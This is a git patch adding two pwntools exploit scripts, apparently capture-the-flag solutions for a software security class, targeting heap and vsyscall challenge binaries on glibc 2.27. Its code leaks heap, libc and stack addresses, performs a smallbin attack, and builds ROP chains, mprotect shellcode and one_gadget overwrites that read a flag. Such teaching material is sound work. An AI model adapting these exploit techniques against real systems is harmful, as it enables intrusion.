From 701f75c100ac3bf7120f9df397d8ec49d5db075e Mon Sep 17 00:00:00 2001 From: Jack Ren Date: Tue, 4 Oct 2022 10:32:47 +0800 Subject: [PATCH] Prepare for Software Security Class Groupwork --- .../playthenew/answer_glibc2.27-3ubuntu1.6.py | 136 ++++++++++++++++++ VSyscall/vul64/answer_glibc2.27-3ubuntu1.6.py | 29 ++++ 2 files changed, 165 insertions(+) create mode 100755 OtherBin/playthenew/answer_glibc2.27-3ubuntu1.6.py create mode 100644 VSyscall/vul64/answer_glibc2.27-3ubuntu1.6.py diff --git a/OtherBin/playthenew/answer_glibc2.27-3ubuntu1.6.py b/OtherBin/playthenew/answer_glibc2.27-3ubuntu1.6.py new file mode 100755 index 0000000..2e4c956 --- /dev/null +++ b/OtherBin/playthenew/answer_glibc2.27-3ubuntu1.6.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +# coding = utf-8 +# Environment: Ubuntu 18.04 + +from pwn import * +from LibcSearcher import * +context(arch = "amd64", os = "linux", log_level = "debug") + +def send_choice(choice: int) -> None: + p.recvuntil('> ') + p.send(str(choice)) + +def buy(index: int, size: int, data: bytes) -> None: + send_choice(1) + p.recvuntil("Input the index:") + p.send(str(index)) + p.recvuntil("input the size of basketball:") + p.send(str(size)) + p.recvuntil("Input the dancer name:") + p.send(data) + +def throw(index: int) -> None: + send_choice(2) + p.recvuntil("Input the idx of basketball:") + p.send(str(index)) + +def show(index: int) -> None: + send_choice(3) + p.recvuntil("Input the idx of basketball:") + p.send(str(index)) + +def change(index: int, data: bytes) -> None: + send_choice(4) + p.recvuntil("Input the idx of basketball:") + p.send(str(index)) + p.recvuntil("The new dance of the basketball:") + p.send(data) + +def secret(data: bytes) -> None: + send_choice(5) + p.recvuntil("Input the secret place:") + p.send(data) + +def backdoor() -> None: + send_choice(1638) + + +#p = process('./playthenew') +p = remote('', ) +elf = ELF('./playthenew') +#gdb.attach(p, '') + +# Step 1: Leak heap address from `tcache->next` field +for _ in range(2): + buy(0, 0x88, 'a') + throw(0) +show(0) +p.recvuntil("Show the dance:") +heap_base = u64(p.recv(6).ljust(8, b'\x00')) & 0xffff_ffff_ffff_f000 +log.info(f"heap base: {hex(heap_base)}") + +# Step 2: Leak Libc address via unsortedbin leak +for _ in range(5): + buy(0, 0x88, 'a') + throw(0) +buy(0, 0x88, 'a') +buy(1, 0x88, 'a') +throw(0) +show(0) +p.recvuntil("Show the dance:") +__malloc_hook = u64(p.recv(6).ljust(8, b'\x00')) - 0x70 +libc = LibcSearcher('__malloc_hook', __malloc_hook) +libc_base = __malloc_hook - libc.dump('__malloc_hook') +system = libc_base + libc.dump('system') +log.info(f"__malloc_hook: {hex(__malloc_hook)}") +log.info('libc base: ' + hex(libc_base)) +log.info('system: ' + hex(system)) +throw(1) + +# Step 3: Construct and send 0x170 size chunks in smallbin & tcache for attacking +for _ in range(5): + buy(0, 0x160, 'a') + throw(0) +for _ in range(7): + buy(0, 0xc0, 'a') + throw(0) + buy(0, 0x90, 'a') + throw(0) +buy(0, 0x90, 'a') +buy(1, 0xc0, 'a') +buy(2, 0x100, 'a') # Useless chunk, preventing from forward consolidation +buy(2, 0x90, 'a') +buy(3, 0xc0, 'a') +buy(4, 0x100, 'a') # Useless chunk, preventing from forward consolidation +buy(4, 0x90, 'a') +throw(0) +throw(2) # Note that two 0xa0 size chunk #0 & #2 in unsortedbin now +buy(0, 0xc0, 'a') +buy(2, 0x100, 'a') # Useless chunk, preventing from forward consolidation (top chunk) +throw(1) # Intend to consolidate with old chunk #0 to 0x170 size chunk +throw(3) # Intend to consolidate with old chunk #2 to 0x170 size chunk +throw(4) # Note that a new 0xa0 size chunk #4 in unsortedbin now +throw(0) # Intend to consolidate with old chunk #2 to 0x170 size chunk +buy(0, 0x200, 'a') # Useless chunk, triggering unsortedbin consolidation and bin movement + +# Step 4: Perform smallbin attack: write libc address to 0x100000 +change(4, p64(heap_base + 0x1a00) + p64(0x100000 - 0x10)) +buy(1, 0x160, 'a') + +# Step 5: Use backdoor to leak stack address +puts = libc.dump('puts') + libc_base +environ = libc.dump('environ') + libc_base +secret(p64(0) + p64(puts) + p64(environ)) +backdoor() +leak_stack = u64(p.recv(6).ljust(8, b'\x00')) +log.info(f"leak stack: {hex(leak_stack)}") + +# Step 6: Prepare shellcode, turn anonymous segment into RWX, execute shellcode +gets = libc.dump('gets') + libc_base +shellcode = shellcraft.amd64.linux.cat2('flag') +secret(p64(0) + p64(gets) + p64(leak_stack - 0x110) + asm(shellcode)) +backdoor() + +pop_rdi_ret = 0x000000000002164f + libc_base +pop_rsi_ret = 0x0000000000023a6a + libc_base +pop_rdx_ret = 0x0000000000001b96 + libc_base +mprotect = libc.dump('mprotect') + libc_base +# mprotect(0x100000, 0x1000, 7) -> shellcode(cat flag) +ROPcode = p64(pop_rdi_ret) + p64(0x100000) + \ + p64(pop_rsi_ret) + p64(0x1000) + \ + p64(pop_rdx_ret) + p64(7) + \ + p64(mprotect) + \ + p64(0x100020) + +p.sendline(ROPcode) +p.interactive() diff --git a/VSyscall/vul64/answer_glibc2.27-3ubuntu1.6.py b/VSyscall/vul64/answer_glibc2.27-3ubuntu1.6.py new file mode 100644 index 0000000..1f94f17 --- /dev/null +++ b/VSyscall/vul64/answer_glibc2.27-3ubuntu1.6.py @@ -0,0 +1,29 @@ +#!/usr/bin/python3 +# -*- coding:utf-8 -*- + +from pwn import * +from LibcSearcher import * +import os +import time +import struct +context(arch = "amd64",os = "linux", log_level = "debug") + +#p = process('./vul64') +p = remote("", ) +elf = ELF('./vul64') + +# gdb.attach(p, "") + +ret_addr = 0xffffffffff600400 + +p.send(p64(ret_addr) * 30 + b'\x2c') +p.recvuntil("I have a gift for yoooou\n") +write_libc = u64(p.recv(8)) +p.recvuntil("Want my flag? Keep going!\n") + +libc = LibcSearcher('write', write_libc) +libc_base = write_libc - libc.dump('write') +one_gadget_libc = libc_base + 0x4f2a5 # one_gadget Shift + +p.send(b'0' * 0x33 + b'\x47' + p64(one_gadget_libc) + b'\n') +p.interactive()